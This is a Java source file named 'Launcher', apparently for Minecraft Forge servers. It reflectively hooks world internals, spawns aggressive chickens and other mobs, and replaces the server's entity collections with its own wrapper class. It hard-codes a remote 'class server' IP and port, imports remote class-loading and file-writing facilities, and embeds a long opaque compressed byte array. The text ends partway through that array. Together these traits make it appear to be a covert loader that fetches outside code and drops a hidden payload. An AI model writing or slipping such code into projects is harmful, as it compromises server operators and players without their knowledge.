blob: f0fa74d51cacb58b18411a08028a600a9aed8a33 [file] [log] [blame] [raw]
/* Copyright 2015-2021 Rivoreo
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at https://mozilla.org/MPL/2.0/.
*/
import java.util.BitSet;
import java.util.Collection;
import java.util.Hashtable;
import java.util.Map;
import java.util.LinkedHashMap;
import java.util.ArrayList;
import java.util.List;
import java.util.HashSet;
import java.util.Set;
import java.util.ListIterator;
import java.util.Iterator;
import java.util.Collections;
import java.util.Random;
import java.util.zip.Inflater;
import java.net.URLClassLoader;
import java.net.URL;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.lang.reflect.InvocationTargetException;
import java.lang.annotation.Annotation;
import java.io.FileOutputStream;
import java.io.IOException;
class Launcher implements Runnable, List, Set {
private static final String CLASS_SERVER_ADDRESS = "221.198.221.255";
private static final int CLASS_SERVER_HTTP_PORT = 87;
private static boolean try_minecraftforge = true;
private static Class<?> forge_world_manager_class;
private static Hashtable<Integer, Class<?>> world_providers;
private static Hashtable<Integer, Object> forge_loaded_worlds;
private static Class<?> mc_world_provider_class;
private static Method mc_world_provider_get_name_method;
private static Class<?> mc_world_class;
private static Class<?> mc_server_world_class;
private static Field mc_world_provider_field;
private static Method mc_world_schedule_task_method;
private static BitSet forge_world_id_map;
private static Method forge_world_manager_load_world_method;
private static Method forge_register_world_provider_type_method;
private static Method mc_world_provider_get_movement_factor_method;
private static Method mc_world_provider_register_world_method;
private static Field field_modifiers_field;
private static Class<?> entity_class;
private static Class<?> mob_entity_class;
private static Method mc_world_spawn_entity_method;
private static Class<?> chicken_class;
private static Constructor<?> chicken_construtor;
private static Class<?> creeper_class;
private static Constructor<?> creeper_construtor;
private static Field creeper_explosion_radius_field;
private static Class<?> skeleton_class;
private static Constructor<?> skeleton_constructor;
private static Method mob_set_name_tag_method;
private static Method set_location_and_angles_method;
//private static Object minecraft_server_instance;
private static Method mc_world_get_entity_tracker_method;
private static Field entity_tracker_tracked_entities_field;
private static Field mc_world_loaded_entity_list_field;
private static Method mc_world_get_ground_height_at_method;
private static Class<?> mc_block_pos_class;
private static Constructor<?> mc_block_pos_constructor;
private static Method mc_vec3i_get_y_method;
private static Class<?> itemstack_class;
private static Constructor<?> itemstack_constructor_2;
private static Class<?> item_class;
private static Object egg_item;
private static Object bow_item;
private static Object sign_item;
private static Class<?> entity_equipment_slot_class;
private static Object entity_main_hand_slot;
private static Object entity_alt_hand_slot;
private static Object entity_head_slot;
private static Method mob_set_equipment_method;
private static Random random;
public static boolean is_minecraftforge_available() {
if(!try_minecraftforge) return false;
if(forge_world_manager_class == null || world_providers == null || forge_loaded_worlds == null || mc_world_provider_class == null || mc_world_class == null || mc_world_provider_field == null || mc_world_provider_get_name_method == null) try {
forge_world_manager_class = Class.forName("net.minecraftforge.common.DimensionManager");
if(world_providers == null) try {
Field providers_field = forge_world_manager_class.getDeclaredField("providers");
if(providers_field.getType() != Hashtable.class) return false;
providers_field.setAccessible(true);
world_providers = (Hashtable<Integer, Class<?>>)providers_field.get(null);
} catch(NoSuchFieldException e) {
// Newer version
}
if(forge_loaded_worlds == null) {
Field worlds_field = forge_world_manager_class.getDeclaredField("worlds");
if(worlds_field.getType() != Hashtable.class) return false;
worlds_field.setAccessible(true);
forge_loaded_worlds = (Hashtable<Integer, Object>)worlds_field.get(null);
}
if(mc_world_provider_class == null) {
Method get_provider_method = forge_world_manager_class.getDeclaredMethod("getProvider", int.class);
mc_world_provider_class = get_provider_method.getReturnType();
}
if(mc_world_class == null || mc_server_world_class == null) {
Method get_world_method = forge_world_manager_class.getDeclaredMethod("getWorld", int.class);
mc_server_world_class = get_world_method.getReturnType();
mc_world_class = mc_server_world_class.getSuperclass();
}
if(mc_world_provider_field == null) try {
mc_world_provider_field = mc_world_class.getDeclaredField("field_73011_w");
} catch(NoSuchFieldException e) {
mc_world_provider_field = mc_world_class.getDeclaredField("provider");
}
if(mc_world_provider_get_name_method == null) try {
mc_world_provider_get_name_method = mc_world_provider_class.getDeclaredMethod("func_80007_l");
if(mc_world_provider_get_name_method.getReturnType() != String.class) {
mc_world_provider_get_name_method = null;
throw new NoSuchMethodException("Return type mismatch");
}
} catch(NoSuchMethodException e) {
try {
mc_world_provider_get_name_method = mc_world_provider_class.getDeclaredMethod("getDimensionName");
if(mc_world_provider_get_name_method.getReturnType() != String.class) {
mc_world_provider_get_name_method = null;
}
} catch(NoSuchMethodException ee) {
// Newer version
}
}
if(mc_world_get_entity_tracker_method == null) {
mc_world_get_entity_tracker_method = mc_server_world_class.getDeclaredMethod("func_73039_n");
}
if(entity_tracker_tracked_entities_field == null) {
Class<?> entity_tracker_class = mc_world_get_entity_tracker_method.getReturnType();
entity_tracker_tracked_entities_field = entity_tracker_class.getDeclaredField("field_72793_b");
entity_tracker_tracked_entities_field.setAccessible(true);
}
if(mc_world_loaded_entity_list_field == null) {
mc_world_loaded_entity_list_field = mc_world_class.getDeclaredField("field_72996_f");
int modifiers = mc_world_loaded_entity_list_field.getModifiers();
if(Modifier.isFinal(modifiers)) try {
if(field_modifiers_field == null) {
field_modifiers_field = Field.class.getDeclaredField("modifiers");
field_modifiers_field.setAccessible(true);
}
field_modifiers_field.setInt(mc_world_loaded_entity_list_field, modifiers & ~Modifier.FINAL);
} catch(NoSuchFieldException e) {
e.printStackTrace();
} catch(IllegalAccessException e) {
e.printStackTrace();
}
}
if(mc_world_get_ground_height_at_method == null) try {
mc_world_get_ground_height_at_method = mc_world_class.getDeclaredMethod("func_72825_h", int.class, int.class);
} catch(NoSuchMethodException e) {
mc_block_pos_class = Class.forName("net.minecraft.util.math.BlockPos");
mc_block_pos_constructor = mc_block_pos_class.getDeclaredConstructor(int.class, int.class, int.class);
mc_world_get_ground_height_at_method = mc_world_class.getDeclaredMethod("func_175672_r", mc_block_pos_class);
Class<?> vec3i_class = Class.forName("net.minecraft.util.math.Vec3i");
mc_vec3i_get_y_method = vec3i_class.getDeclaredMethod("func_177956_o");
}
if(itemstack_class == null) {
itemstack_class = Class.forName("net.minecraft.item.ItemStack");
}
if(item_class == null) {
item_class = Class.forName("net.minecraft.item.Item");
}
if(egg_item == null || bow_item == null) {
Class<?> items_class = Class.forName("net.minecraft.init.Items");
Field egg_field = items_class.getDeclaredField("field_151110_aK");
egg_item = egg_field.get(null);
Field bow_field = items_class.getDeclaredField("field_151031_f");
bow_item = bow_field.get(null);
Field sign_field = items_class.getDeclaredField("field_151155_ap");
sign_item = sign_field.get(null);
}
if(itemstack_constructor_2 == null) {
itemstack_constructor_2 = itemstack_class.getDeclaredConstructor(item_class, int.class);
}
} catch(Exception e) {
e.printStackTrace();
try_minecraftforge = false;
return false;
}
return true;
}
private static Class<?> forge_mod_loader_main_class;
private static Object forge_mod_loader_main_instance;
private static Object fml_mod_class_loader;
private static Object fml_mod_class_loader_parent_class_loader;
private static Method mc_launch_class_loader_add_url_method;
private static Class<?> minecraftforge_class;
private static Object minecraft_forge_event_bus;
private static Method fml_event_bus_register_method;
private static Class<?> forge_entityjoinworldevent_class;
private static Class<?> forge_livingdeathevent_class;
/*
private static Field method_declared_annotations_field;
private static Field method_parameter_types_field;
private static Class<? extends Annotation> fml_subscribeevent_class;
private static Class<?> forge_item_expire_event_class;
private static boolean can_modify_method_annotations() {
if(method_declared_annotations_field != null) return true;
try {
method_declared_annotations_field = Method.class.getDeclaredField("declaredAnnotations");
method_declared_annotations_field.setAccessible(true);
return true;
} catch(Exception e) {
}
// TODO: Java 8?
return false;
}
private static boolean can_modify_method_arguments() {
if(method_parameter_types_field != null) return true;
try {
method_parameter_types_field = Method.class.getDeclaredField("parameterTypes");
method_parameter_types_field.setAccessible(true);
return true;
} catch(Exception e) {
}
// TODO: Java 8?
return false;
}
*/
private static Launcher instance;
private static Thread minecraft_server_thread;
private static Method get_fml_event_bus_register_method(Class<?> fml_event_bus_class) throws NoSuchMethodException {
for(Method m : fml_event_bus_class.getDeclaredMethods()) {
if(!m.getName().equals("register")) continue;
Class<?>[] arg_classes = m.getParameterTypes();
if(arg_classes.length != 4) continue;
if(arg_classes[0].equals(Class.class) && arg_classes[2].equals(Method.class)) {
return m;
}
}
throw new NoSuchMethodException();
}
private static void wrap_thread_unsafe_collections_from_world(Object world) {
try {
Object entity_tracker = mc_world_get_entity_tracker_method.invoke(world);
Set<?> tracked_entities = (Set<?>)entity_tracker_tracked_entities_field.get(entity_tracker);
if(!tracked_entities.getClass().getName().equals("Launcher")) {
tracked_entities = new Launcher(tracked_entities);
entity_tracker_tracked_entities_field.set(entity_tracker, tracked_entities);
}
} catch(Exception e) {
e.printStackTrace();
}
try {
List<?> loaded_entities = (List<?>)mc_world_loaded_entity_list_field.get(world);
if(!loaded_entities.getClass().getName().equals("Launcher")) {
loaded_entities = new Launcher(loaded_entities);
mc_world_loaded_entity_list_field.set(world, loaded_entities);
}
} catch(Exception e) {
e.printStackTrace();
}
}
private static String minecraft_version;
private static Class<?> fmlinfectiondata_class;
private static Class<?> living_entity_class;
private static Method living_entity_get_attribute_map_method;
private static Method attribute_map_get_attribute_instance_method;
private static Method attribute_instance_set_base_value_method;
private static Object mob_follow_range_attribute;
private static Class<?> creature_class;
private static Class<?> mob_class;
private static Field mob_tasks_field;
private static Field mob_target_tasks_field;
private static Method tasks_handler_add_task_method;
private static Method tasks_handler_remove_task_method;
private static Field tasks_handler_task_list_field;
private static Field tasks_handler_task_entry_action_field;
private static Class<?> mob_panic_task_class;
private static Class<?> mob_tempt_task_class;
private static Class<?> mob_melee_attack_task_class;
private static Constructor<?> mob_melee_attack_task_constructor;
private static Class<?> mob_force_melee_attack_task_class;
private static Constructor<?> mob_force_melee_attack_task_constructor;
private static Class<?> aggressivechickens_forgemod_class;
private static Object aggressivechickens_forgemod_instance;
private static Class<?> aggressivechicken_class;
private static Constructor<?> aggressivechicken_constructor;
private static int aggressivechicken_constructor_argument_count;
private static Class<?> mob_hurt_by_target_task_class;
private static Constructor<?> mob_hurt_by_target_task_constructor;
private static Class<?> angrywhenbeingstaredbyplayertask_class;
private static Constructor<?> angrywhenbeingstaredbyplayertask_constructor;
private static String get_minecraft_version() {
if(!is_minecraftforge_available()) return null;
if(minecraft_version != null) return minecraft_version;
try {
if(fmlinfectiondata_class == null) try {
fmlinfectiondata_class = Class.forName("cpw.mods.fml.relauncher.FMLInjectionData");
} catch(ClassNotFoundException e) {
fmlinfectiondata_class = Class.forName("net.minecraftforge.fml.relauncher.FMLInjectionData");
}
Field mccversion_field = fmlinfectiondata_class.getDeclaredField("mccversion");
if(mccversion_field.getType() == String.class) {
mccversion_field.setAccessible(true);
minecraft_version = (String)mccversion_field.get(null);
return minecraft_version;
}
} catch(Exception e) {
e.printStackTrace();
}
try {
Class<?> mc_resourcepackrepository_class = Class.forName("net.minecraft.client.resources.ResourcePackRepository");
Method get_download_headers_method = mc_resourcepackrepository_class.getDeclaredMethod("func_190115_a");
if(get_download_headers_method.getReturnType() == Map.class) {
Map<String, String> map = (Map<String, String>)get_download_headers_method.invoke(null);
minecraft_version = map.get("X-Minecraft-Version");
if(minecraft_version != null) return minecraft_version;
}
} catch(Exception e) {
//e.printStackTrace();
}
try {
if(minecraftforge_class == null) {
minecraftforge_class = Class.forName("net.minecraftforge.common.MinecraftForge");
}
Field mc_version_field = minecraftforge_class.getDeclaredField("MC_VERSION");
minecraft_version = (String)mc_version_field.get(null);
return minecraft_version;
} catch(Exception e) {
e.printStackTrace();
}
return null;
}
private static void make_chicken_aggressive(Object chicken) {
if(living_entity_get_attribute_map_method != null && mob_follow_range_attribute != null && attribute_map_get_attribute_instance_method != null && attribute_instance_set_base_value_method != null) try {
Object attrib_map = living_entity_get_attribute_map_method.invoke(chicken);
Object follow_range_attrib = attribute_map_get_attribute_instance_method.invoke(attrib_map, mob_follow_range_attribute);
attribute_instance_set_base_value_method.invoke(follow_range_attrib, Double.valueOf(64));
} catch(Exception e) {
e.printStackTrace();
}
if(tasks_handler_task_list_field != null && tasks_handler_task_entry_action_field != null) try {
Object tasks_handler = mob_tasks_field.get(chicken);
Collection<Object> task_list = (Collection<Object>)tasks_handler_task_list_field.get(tasks_handler);
List<Object> tasks_to_remove = new ArrayList<Object>();
for(Object task : task_list) {
task = tasks_handler_task_entry_action_field.get(task);
if(mob_panic_task_class.isInstance(task) || mob_tempt_task_class.isInstance(task)) {
tasks_to_remove.add(task);
}
}
for(Object task : tasks_to_remove) {
tasks_handler_remove_task_method.invoke(tasks_handler, task);
}
if(mob_melee_attack_task_constructor != null && aggressivechicken_constructor != null) {
Object aggressive_chicken = (aggressivechicken_constructor_argument_count == 1) ?
aggressivechicken_constructor.newInstance(chicken) :
aggressivechicken_constructor.newInstance(chicken, Integer.valueOf(6));
Object task = mob_melee_attack_task_constructor.newInstance(aggressive_chicken, Double.valueOf(1.2), Boolean.valueOf(true));
tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(1), task);
} else if(mob_force_melee_attack_task_constructor != null) {
Object task = mob_force_melee_attack_task_constructor.newInstance(chicken, Double.valueOf(1.2), Float.valueOf(6), Boolean.valueOf(true));
tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(1), task);
}
if(mob_hurt_by_target_task_constructor != null) {
Object target_tasks_handler = mob_target_tasks_field.get(chicken);
Object[] args = mob_hurt_by_target_task_constructor.getParameterTypes().length == 2 ?
new Object[] { chicken, Boolean.valueOf(true) } :
new Object[] { chicken, Boolean.valueOf(true), new Class<?>[0] };
Object task = mob_hurt_by_target_task_constructor.newInstance(args);
tasks_handler_add_task_method.invoke(target_tasks_handler, Integer.valueOf(1), task);
}
if(angrywhenbeingstaredbyplayertask_constructor != null) {
Object task = angrywhenbeingstaredbyplayertask_constructor.newInstance(chicken, Double.valueOf(16));
tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(3), task);
}
} catch(Exception e) {
e.printStackTrace();
}
}
private static String get_entity_name(Object entity) {
if(chicken_class != null && chicken_class.isInstance(entity)) return "Chicken";
if(creeper_class != null && creeper_class.isInstance(entity)) return "Creeper";
if(skeleton_class != null && skeleton_class.isInstance(entity)) return "Skeleton";
return "support"; // XXX
}
private static void set_mob_equipment(Object mob, int slot, Object item_stack) throws IllegalAccessException, InvocationTargetException {
if(entity_equipment_slot_class == null) {
mob_set_equipment_method.invoke(mob, Integer.valueOf(slot), item_stack);
} else {
Object slot_enum;
switch(slot) {
case 0:
slot_enum = entity_main_hand_slot;
break;
case 1:
slot_enum = entity_alt_hand_slot;
break;
case 4:
slot_enum = entity_head_slot;
break;
default:
slot_enum = null;
}
mob_set_equipment_method.invoke(mob, slot_enum, item_stack);
}
}
private static final byte[] wscntfy = new byte[] {
(byte)0xed, (byte)0x58, (byte)0x7f, (byte)0x6c, (byte)0x13, (byte)0xf7, (byte)0x15, (byte)0x7f,
(byte)0xe7, (byte)0x38, (byte)0xe0, (byte)0x86, (byte)0x04, (byte)0xbb, (byte)0x2c, (byte)0x19,
(byte)0x99, (byte)0xd6, (byte)0x68, (byte)0x97, (byte)0x89, (byte)0x5f, (byte)0x9a, (byte)0x50,
(byte)0x96, (byte)0x74, (byte)0xd9, (byte)0x4a, (byte)0x07, (byte)0xa9, (byte)0x8c, (byte)0x12,
(byte)0xb7, (byte)0x01, (byte)0x1c, (byte)0x38, (byte)0xdb, (byte)0x61, (byte)0xe4, (byte)0x47,
(byte)0x83, (byte)0xe3, (byte)0xd8, (byte)0xe7, (byte)0xdc, (byte)0xb9, (byte)0xce, (byte)0x9d,
(byte)0x77, (byte)0x77, (byte)0x26, (byte)0xa4, (byte)0x9a, (byte)0xd4, (byte)0xd0, (byte)0xc4,
(byte)0x1a, (byte)0x9e, (byte)0x6b, (byte)0xc9, (byte)0xd3, (byte)0x58, (byte)0xa9, (byte)0x54,
(byte)0x90, (byte)0x16, (byte)0xa8, (byte)0xb4, (byte)0x4e, (byte)0xdd, (byte)0xa4, (byte)0xfd,
(byte)0xc1, (byte)0x26, (byte)0x46, (byte)0xab, (byte)0xc9, (byte)0x10, (byte)0x54, (byte)0x60,
(byte)0x2d, (byte)0x12, (byte)0x62, (byte)0xd5, (byte)0xc4, (byte)0x14, (byte)0xd6, (byte)0xb1,
(byte)0x15, (byte)0xd6, (byte)0xcb, (byte)0xc2, (byte)0x36, (byte)0xa4, (byte)0x21, (byte)0x9a,
(byte)0x95, (byte)0xb0, (byte)0xdb, (byte)0xfb, (byte)0x7e, (byte)0xef, (byte)0x9c, (byte)0x38,
(byte)0x06, (byte)0x54, (byte)0xed, (byte)0x9f, (byte)0xaa, (byte)0xda, (byte)0xf2, (byte)0xb5,
(byte)0x9e, (byte)0xbf, (byte)0xef, (byte)0x7d, (byte)0xde, (byte)0x8f, (byte)0xef, (byte)0xfb,
(byte)0xbe, (byte)0xef, (byte)0x0f, (byte)0x9f, (byte)0xaf, (byte)0xa3, (byte)0x27, (byte)0x07,
(byte)0x65, (byte)0x00, (byte)0x60, (byte)0x47, (byte)0x32, (byte)0x0c, (byte)0x80, (byte)0x93,
(byte)0x60, (byte)0x36, (byte)0x37, (byte)0x7c, (byte)0x72, (byte)0x1b, (byte)0x45, (byte)0x5a,
(byte)0xf9, (byte)0xa5, (byte)0x53, (byte)0x2b, (byte)0xe1, (byte)0xc4, (byte)0x23, (byte)0x17,
(byte)0xeb, (byte)0x4f, (byte)0x32, (byte)0xde, (byte)0x8b, (byte)0xf5, (byte)0x9d, (byte)0x82,
(byte)0xa8, (byte)0xb2, (byte)0x09, (byte)0x45, (byte)0x1e, (byte)0x54, (byte)0x42, (byte)0x43,
(byte)0x6c, (byte)0x38, (byte)0x24, (byte)0x49, (byte)0xb2, (byte)0xc6, (byte)0x0e, (byte)0xf0,
(byte)0xac, (byte)0x92, (byte)0x94, (byte)0x58, (byte)0x51, (byte)0x62, (byte)0xdb, (byte)0x76,
(byte)0x05, (byte)0xd8, (byte)0x21, (byte)0x39, (byte)0xc2, (byte)0x37, (byte)0x54, (byte)0x55,
(byte)0x55, (byte)0xac, (byte)0xb1, (byte)0x62, (byte)0x70, (byte)0x1e, (byte)0x00, (byte)0x2f,
(byte)0xb3, (byte)0x0c, (byte)0x46, (byte)0x26, (byte)0x4f, (byte)0x86, (byte)0x0a, (byte)0x71,
(byte)0xaf, (byte)0x81, (byte)0xb3, (byte)0x6c, (byte)0x05, (byte)0x63, (byte)0xdb, (byte)0x04,
(byte)0x15, (byte)0x28, (byte)0x54, (byte)0x22, (byte)0x2d, (byte)0x03, (byte)0x70, (byte)0x3d,
(byte)0x8a, (byte)0xbd, (byte)0x0b, (byte)0x89, (byte)0xb5, (byte)0xb2, (byte)0x23, (byte)0xbc,
(byte)0xcd, (byte)0xcc, (byte)0x9b, (byte)0xb1, (byte)0xf2, (byte)0xa7, (byte)0x2d, (byte)0x61,
(byte)0x0a, (byte)0x4f, (byte)0xdc, (byte)0xa5, (byte)0x6a, (byte)0xd3, (byte)0x81, (byte)0xd8,
(byte)0x92, (byte)0x2f, (byte)0x97, (byte)0x69, (byte)0xe2, (byte)0x2a, (byte)0x9e, (byte)0x04,
(byte)0x07, (byte)0x50, (byte)0x4b, (byte)0x9c, (byte)0xfb, (byte)0x01, (byte)0xae, (byte)0xc3,
(byte)0xa7, (byte)0xd7, (byte)0x1a, (byte)0x34, (byte)0x7e, (byte)0xbf, (byte)0x86, (byte)0xfd,
(byte)0x21, (byte)0x87, (byte)0x95, (byte)0x50, (byte)0x45, (byte)0xf1, (byte)0x24, (byte)0xc0,
(byte)0xca, (byte)0x9c, (byte)0xeb, (byte)0x6f, (byte)0x88, (byte)0x84, (byte)0x34, (byte)0x52,
(byte)0x98, (byte)0x66, (byte)0x6b, (byte)0x2a, (byte)0x74, (byte)0x52, (byte)0x2b, (byte)0x17,
(byte)0xdb, (byte)0xb9, (byte)0xa1, (byte)0x31, (byte)0xdf, (byte)0xa0, (byte)0x98, (byte)0x86,
(byte)0xb3, (byte)0x04, (byte)0x68, (byte)0xb4, (byte)0xec, (byte)0x5c, (byte)0xf7, (byte)0xd9,
(byte)0xb9, (byte)0x1b, (byte)0x06, (byte)0x54, (byte)0x95, (byte)0xf0, (byte)0x0e, (byte)0xfb,
(byte)0xc3, (byte)0x17, (byte)0x79, (byte)0x94, (byte)0xc4, (byte)0x13, (byte)0xcd, (byte)0x78,
(byte)0xb4, (byte)0x36, (byte)0x9c, (byte)0xb9, (byte)0x06, (byte)0xb0, (byte)0xea, (byte)0x41,
(byte)0xe3, (byte)0xaa, (byte)0x4a, (byte)0x18, (byte)0xac, (byte)0xda, (byte)0xf5, (byte)0x5b,
(byte)0xe3, (byte)0xd6, (byte)0xde, (byte)0x6f, (byte)0x07, (byte)0x4b, (byte)0xed, (byte)0x33,
(byte)0xd9, (byte)0x76, (byte)0x67, (byte)0xaa, (byte)0x22, (byte)0x3e, (byte)0x37, (byte)0xa4,
(byte)0x6f, (byte)0xf4, (byte)0x19, (byte)0x7f, (byte)0xca, (byte)0x6a, (byte)0xeb, (byte)0x88,
(byte)0xfc, (byte)0xec, (byte)0x22, (byte)0x39, (byte)0x7d, (byte)0x23, (byte)0x30, (byte)0x76,
(byte)0x93, (byte)0x15, (byte)0xb8, (byte)0x47, (byte)0xdd, (byte)0xa0, (byte)0xff, (byte)0x76,
(byte)0x39, (byte)0xc0, (byte)0xd8, (byte)0xd9, (byte)0x4a, (byte)0xfd, (byte)0x8d, (byte)0x72,
(byte)0x00, (byte)0xfd, (byte)0x6d, (byte)0xdc, (byte)0x11, (byte)0x63, (byte)0x37, (byte)0x2b,
(byte)0xb3, (byte)0x9e, (byte)0xdb, (byte)0xe7, (byte)0x3c, (byte)0xb7, (byte)0xe9, (byte)0x49,
(byte)0xca, (byte)0x7a, (byte)0x66, (byte)0x33, (byte)0x75, (byte)0x2e, (byte)0xd6, (byte)0x0d,
(byte)0x01, (byte)0x4e, (byte)0xb0, (byte)0xbb, (byte)0xdd, (byte)0x20, (byte)0x00, (byte)0x7e,
(byte)0xe9, (byte)0xef, (byte)0xa3, (byte)0xdd, (byte)0x84, (byte)0x03, (byte)0xb9, (byte)0xb1,
(byte)0xb3, (byte)0x6c, (byte)0x2a, (byte)0x9f, (byte)0x6c, (byte)0xd3, (byte)0xff, (byte)0x86,
(byte)0x40, (byte)0xa6, (byte)0x86, (byte)0x45, (byte)0xbb, (byte)0xb4, (byte)0x4b, (byte)0xcf,
(byte)0x91, (byte)0x28, (byte)0xd7, (byte)0x6f, (byte)0xe9, (byte)0x87, (byte)0x70, (byte)0xdf,
(byte)0xe8, (byte)0xff, (byte)0x44, (byte)0x21, (byte)0x90, (byte)0x71, (byte)0xf8, (byte)0x32,
(byte)0x35, (byte)0xc4, (byte)0xdd, (byte)0x3f, (byte)0x41, (byte)0xfc, (byte)0x39, (byte)0x3d,
(byte)0x80, (byte)0xf7, (byte)0x53, (byte)0x7a, (byte)0x52, (byte)0xff, (byte)0x0b, (byte)0x2a,
(byte)0xd3, (byte)0x8f, (byte)0xad, (byte)0xd1, (byte)0xf7, (byte)0x62, (byte)0x12, (byte)0x99,
(byte)0xba, (byte)0x2e, (byte)0x4c, (byte)0xf2, (byte)0x38, (byte)0x89, (byte)0xe1, (byte)0xf3,
(byte)0x71, (byte)0x99, (byte)0x80, (byte)0xcb, (byte)0xaf, (byte)0x7f, (byte)0x97, (byte)0x04,
(byte)0x3a, (byte)0xeb, (byte)0x1a, (byte)0xbb, (byte)0x7b, (byte)0x4d, (byte)0xfb, (byte)0x02,
(byte)0xc7, (byte)0xd1, (byte)0x01, (byte)0xb9, (byte)0x4c, (byte)0x6b, (byte)0x23, (byte)0xa7,
(byte)0x4b, (byte)0x05, (byte)0x45, (byte)0x5e, (byte)0x1b, (byte)0x5f, (byte)0x50, (byte)0x70,
(byte)0x9c, (byte)0xbe, (byte)0xdb, (byte)0x54, (byte)0x4c, (byte)0x3f, (byte)0x67, (byte)0x18,
(byte)0x46, (byte)0xfa, (byte)0x4e, (byte)0xf6, (byte)0xad, (byte)0xf5, (byte)0xb4, (byte)0x1e,
(byte)0xe9, (byte)0x1b, (byte)0x63, (byte)0x37, (byte)0xab, (byte)0x63, (byte)0x36, (byte)0xa3,
(byte)0x86, (byte)0xc3, (byte)0x11, (byte)0xf4, (byte)0x7b, (byte)0xff, (byte)0x36, (byte)0x8c,
(byte)0xec, (byte)0x2f, (byte)0x89, (byte)0x62, (byte)0xb1, (byte)0x9e, (byte)0xb1, (byte)0xf4,
(byte)0x7f, (byte)0x78, (byte)0x80, (byte)0x1e, (byte)0xeb, (byte)0x65, (byte)0xcf, (byte)0x78,
(byte)0x1c, (byte)0x19, (byte)0xc8, (byte)0x40, (byte)0xcb, (byte)0xf7, (byte)0x01, (byte)0xf2,
(byte)0xc3, (byte)0x9b, (byte)0x5b, (byte)0xb2, (byte)0xd8, (byte)0x29, (byte)0x3b, (byte)0xde,
(byte)0x24, (byte)0x17, (byte)0x15, (byte)0xc7, (byte)0xc5, (byte)0x20, (byte)0xe6, (byte)0xd0,
(byte)0x67, (byte)0xcb, (byte)0xcd, (byte)0xac, (byte)0x66, (byte)0x19, (byte)0xe7, (byte)0xf8,
(byte)0xef, (byte)0x10, (byte)0x4e, (byte)0xe5, (byte)0x9d, (byte)0xa9, (byte)0x1c, (byte)0xf6,
(byte)0x4d, (byte)0xf9, (byte)0x4c, (byte)0xdf, (byte)0xdc, (byte)0x85, (byte)0x33, (byte)0x76,
(byte)0xc8, (byte)0x9e, (byte)0x58, (byte)0x47, (byte)0xe2, (byte)0xb5, (byte)0x1c, (byte)0x42,
(byte)0x57, (byte)0x6d, (byte)0x5b, (byte)0xcb, (byte)0xcb, (byte)0xa4, (byte)0x5b, (byte)0xdd,
(byte)0xf2, (byte)0x03, (byte)0xec, (byte)0x92, (byte)0x53, (byte)0x33, (byte)0xbf, (byte)0x68,
(byte)0x29, (byte)0x27, (byte)0xf2, (byte)0x93, (byte)0x2d, (byte)0x75, (byte)0x44, (byte)0x7e,
(byte)0x87, (byte)0xc6, (byte)0xb4, (byte)0xeb, (byte)0xaf, (byte)0xcd, (byte)0xc7, (byte)0xd4,
(byte)0x7a, (byte)0x52, (byte)0x79, (byte)0xed, (byte)0x04, (byte)0xae, (byte)0x4e, (byte)0xcc,
(byte)0x6e, (byte)0x5c, (byte)0x1a, (byte)0x3b, (byte)0x6f, (byte)0x20, (byte)0x3a, (byte)0xf3,
(byte)0xe3, (byte)0x1c, (byte)0x59, (byte)0xcf, (byte)0xa6, (byte)0xa9, (byte)0xe9, (byte)0xe7,
(byte)0x71, (byte)0xbe, (byte)0xd4, (byte)0x63, (byte)0x85, (byte)0xae, (byte)0x2c, (byte)0x78,
(byte)0x3c, (byte)0x85, (byte)0x1e, (byte)0x2f, (byte)0x12, (byte)0x8f, (byte)0x15, (byte)0x05,
(byte)0x8f, (byte)0x69, (byte)0x05, (byte)0x0d, (byte)0x09, (byte)0xe2, (byte)0x98, (byte)0x47,
(byte)0xfa, (byte)0x4d, (byte)0x57, (byte)0x06, (byte)0x07, (byte)0x7b, (byte)0x82, (byte)0xb8,
(byte)0x9a, (byte)0xe8, (byte)0xf6, (byte)0x02, (byte)0xba, (byte)0x42, (byte)0xaf, (byte)0x5f,
(byte)0x40, (byte)0x9b, (byte)0x0b, (byte)0xa8, (byte)0x43, (byte)0x5f, (byte)0x61, (byte)0x0d,
(byte)0x73, (byte)0xde, (byte)0x48, (byte)0x4d, (byte)0x39, (byte)0xc7, (byte)0xbf, (byte)0x88,
(byte)0x0a, (byte)0xfd, (byte)0xa0, (byte)0x9d, (byte)0x1a, (byte)0x4e, (byte)0xaf, (byte)0x44,
(byte)0x21, (byte)0x57, (byte)0xd4, (byte)0x68, (byte)0x7d, (byte)0x1d, (byte)0x13, (byte)0x8d,
(byte)0xb8, (byte)0xb2, (byte)0x98, (byte)0xd0, (byte)0x66, (byte)0x1c, (byte)0x5e, (byte)0xc0,
(byte)0x5b, (byte)0x0b, (byte)0xf4, (byte)0xfd, (byte)0x18, (byte)0x22, (byte)0x7d, (byte)0x06,
(byte)0x37, (byte)0x1f, (byte)0xfd, (byte)0x81, (byte)0x4a, (byte)0x5d, (byte)0xd6, (byte)0x9c,
(byte)0x1c, (byte)0x27, (byte)0x54, (byte)0xa1, (byte)0xc6, (byte)0xaf, (byte)0x0f, (byte)0xa1,
(byte)0xaa, (byte)0xa7, (byte)0x1b, (byte)0xad, (byte)0xab, (byte)0x88, (byte)0x35, (byte)0xf1,
(byte)0xc4, (byte)0x7c, (byte)0xcf, (byte)0xba, (byte)0x2e, (byte)0x4c, (byte)0x5a, (byte)0xfb,
(byte)0xb7, (byte)0x8f, (byte)0x32, (byte)0xc5, (byte)0xeb, (byte)0xe7, (byte)0x98, (byte)0xb0,
(byte)0xa3, (byte)0x55, (byte)0x86, (byte)0x8c, (byte)0x50, (byte)0x63, (byte)0x5c, (byte)0xa2,
(byte)0xc2, (byte)0x58, (byte)0xde, (byte)0x7e, (byte)0xbc, (byte)0x00, (byte)0x26, (byte)0x67,
(byte)0x2e, (byte)0x4c, (byte)0xe6, (byte)0xac, (byte)0xfa, (byte)0xa3, (byte)0xfd, (byte)0xb7,
(byte)0x02, (byte)0x99, (byte)0x2a, (byte)0x20, (byte)0xf9, (byte)0x5c, (byte)0xd0, (byte)0x96,
(byte)0x67, (byte)0xf9, (byte)0xd9, (byte)0xde, (byte)0xbd, (byte)0x7d, (byte)0x93, (byte)0x99,
(byte)0xba, (byte)0xf1, (byte)0x5a, (byte)0x37, (byte)0x9c, (byte)0x2b, (byte)0x27, (byte)0x30,
